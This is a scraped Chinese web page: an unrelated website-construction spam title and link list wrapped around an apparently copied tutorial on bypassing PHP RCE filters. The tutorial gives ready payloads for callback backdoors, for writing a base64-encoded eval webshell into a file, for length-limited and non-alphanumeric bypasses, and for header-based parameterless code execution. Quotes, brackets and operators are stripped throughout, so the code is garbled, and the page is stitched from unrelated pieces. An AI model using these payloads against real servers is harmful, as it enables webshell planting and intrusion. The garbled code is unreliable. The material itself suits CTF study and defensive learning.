当前位置: 首页 > news >正文

泉州住房城乡建设局网站网站建设费用的账务处理

泉州住房城乡建设局网站,网站建设费用的账务处理,东莞市建设网站,泰和网站制作目录 1、RCE概述 #xff08;1#xff09;命令执行函数 #xff08;2#xff09;代码执行函数 2、回调后门 3、eval和assert 限制字符长度绕过 #xff08;1#xff09;反引号或exec #xff08;2#xff09;file_put_contents写入文件 #xff08;3#xff…目录 1、RCE概述 1命令执行函数 2代码执行函数 2、回调后门 3、eval和assert 限制字符长度绕过 1反引号或exec 2file_put_contents写入文件 3回调后门变长参数 4拼接文件名 无字母数字绕过 1取反码 2临时文件 无参数读文件和RCE 1Apache 2Nginx 1、RCE概述 RCE漏洞远程代码执行和远程命令执行 在很多Web应用中开发人员会使用一些特殊函数这些函数以一些字符串作为输入功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时就产生了RCE漏洞。 1命令执行函数 system(),  passthru()  --可以直接输出结果 exec(),  shell_exec()    --需要echo打印结果 2代码执行函数 eval(),   assert()    --执行php代码 call_user_func(),   call_user_func_array()  --回调函数  2、回调后门 有回调函数作为参数的函数 --回调后门 call_user_func() ,   call_user_func_array() , array_filter() 等等 3、eval和assert eval在php中是动态执行的方法不能通过$_GET和$_POST来动态传递进行执行 assert是php的函数可以动态传递进行执行 例如有回调后门如下 call_user_func(assert,$_REQUEST[pass]); 我们在用蚁剑进行连接的时候如果这样 ?pass$_POST[123]  这样连接会失败要在前面加上eval 这样才能连接成功 限制字符长度绕过 ?php $param $_REQUEST[param]; if (strlen($param) 17 stripos($param, eval) false stripos($param, assert) false) {eval($param); } 1反引号或exec ?paramecho%20$_GET[1];1whoami?paramexec($_GET[1]);1whoami 2file_put_contents写入文件 将一句话木马进行base64编码后一个一个写入文件 为什么必须编码 因为像 这些特殊符号不能直接写入 ?1file_put_contentsparam$_GET[1](N,P,8); ?1file_put_contentsparam$_GET[1](N,D,8); ... /* PD9waHAgZXZhbCgkX1BPU1RbOV0pOw ✲写入文件N中 */?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceN 3回调后门变长参数 usort(...$_GET) usort — 使用用户自定义的比较函数对数组中的值进行排序 用BurpSuit抓包修改post和get值 4拼接文件名 ?php $param $_REQUEST[param]; if ( strlen($param) 8 ) {echo shell_exec($param); } echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d c.php 因为长度限制将上面一句命令拆分开通过常见文件的方式绕过 最后再用ls -t 以创建时间的列出当前文件夹下所有文件就拼接回去了 注意每一个文件名后面都要加上\,因为文件名都是以换行符结尾在ls -t列出文件的时候\起到转义换行符的作用 无字母数字绕过 ?php if(isset($_GET[code])){$code $_GET[code];if(strlen($code)35){die(Long.);}if(preg_match(/[A-Za-z0-9_$]/,$code)){die(NO.);}eval($code); }else{highlight_file(__FILE__); } 1取反码 php7中支持这样执行函数(phpinfo)(); payload (~%8F%97%8F%96%91%99%90)(); 将 phpinfo取反  ~phpinfo --urlcode编码 %8F%97%8F%96%91%99%90 payload再次取反就复原了成功绕过 2临时文件 php上传文件机制 第一步将本地的文件上传到服务器的临时目录 /tmp 第二步将上传的文件从临时目录移动到指定的目录中再删除临时文件 思路 (1)上传一个shell文件(虽然上传不成功但是代码没执行完毕临时文件不会删除)将要执行的代码写入文件 (2)再通过get传参传入命令执行临时文件 阻碍 1、 上传的临时文件没有x执行权限 --  . phpasgdfK (点加空格加文件名执行 2、 不知道临时文件名为随机生成的 临时文件名特征随机文件名为 phpxxxxxx  ,但最后一个位大多是大写字母只有少数部分位小写字母和数字 大写字母ASCII范围是 -[ Linux glob 通配符? 匹配任意一个字符* 匹配任意多个字符 payload ?code??./???/????????[-[];? 无参数读文件和RCE ?php highlight_file(__FILE__); if(; preg_replace(/[^\W]\((?R)?\)/, , $_GET[code])) { eval($_GET[code]); } ? 上面正则只能匹配函数不能有参数但是可以嵌套函数 --  a(b(c())) 1Apache apache有getallheaders()函数获取所有header codeeval(next(getallheaders()));user-agent:phpinfo(); 用BurpSuit抓包修改header内容将要执行的命令写入头部 2Nginx 找到flag文件 1、print_r(scandir(.));  但是不能有 . 这个参数所以找到输出 . d 的函数 (1)print_r(scandir(current(localeconv()))); --pos是current的别名也可以(2)chr(46) 是字符 .chr(current(localtime(time()))); 2、print_r(scandir(绝对路径)) print_r(scandir(getcwd())); 读flag文件 show_source(array_rand(array_flip(scandir(getcwd())))); array_flip()是交换数组的键和值array_rand()是随机返回一个数组
http://www.w-s-a.com/news/59564/

相关文章:

  • 手工业网站怎么做成都酒吧设计公司
  • .net 网站生成安装文件目录重庆网站建设沛宣网络
  • 怎么做钓鱼网站吗百度免费域名注册网站
  • 如何给网站做外部优化今年国内重大新闻
  • 有没有做生物科技相关的网站弄一个app大概多少钱
  • 五金加工东莞网站建设怎么做网页跳转
  • 淄博网站优化价格wordpress没有小工具
  • 自己搭建服务器做视频网站wordpress发布文章 发布
  • php仿博客园网站阅读分享网站模板
  • 网站宣传的劣势域名注册长沙有限公司
  • 怎样联系自己建设网站企业怎样做好网站建设
  • 网站制作需求分析电商网站建设浩森宇特
  • 淄博网站建设招聘摄影网站建设的论文
  • 怎么把凡科网里做的网站保存成文件网站建设研究的意义
  • 服务器2003怎么做网站网站建设服务器的配置
  • 高校网站建设方案网站推广软件下载安装免费
  • 重庆没建网站的企业网站开发软件 连接SQL数据库
  • 百度申诉网站沉默是金
  • 如何自己建网站wordpress图片延时加载
  • 甘肃省住房和城乡建设厅注册中心网站千博企业网站管理系统2013
  • 西餐厅网站模板seo搜索引擎优化ppt
  • 什么做的网站吗wordpress注册可见插件
  • 献县做网站价格可以提升自己的网站
  • 如何修改网站title建设网站只能是公司
  • 网站推广效果怎么样建设工程公司组织架构图
  • 成都制作网站价格表网站安全证书过期怎么办
  • 高校图书馆网站的建设方案湖南常德市
  • 房地产怎么做网站推广wordpress插件汉化下载
  • 一般pr做视频过程那个网站有无锡网络公司平台
  • 安徽网站推广系统网站根目录权限设置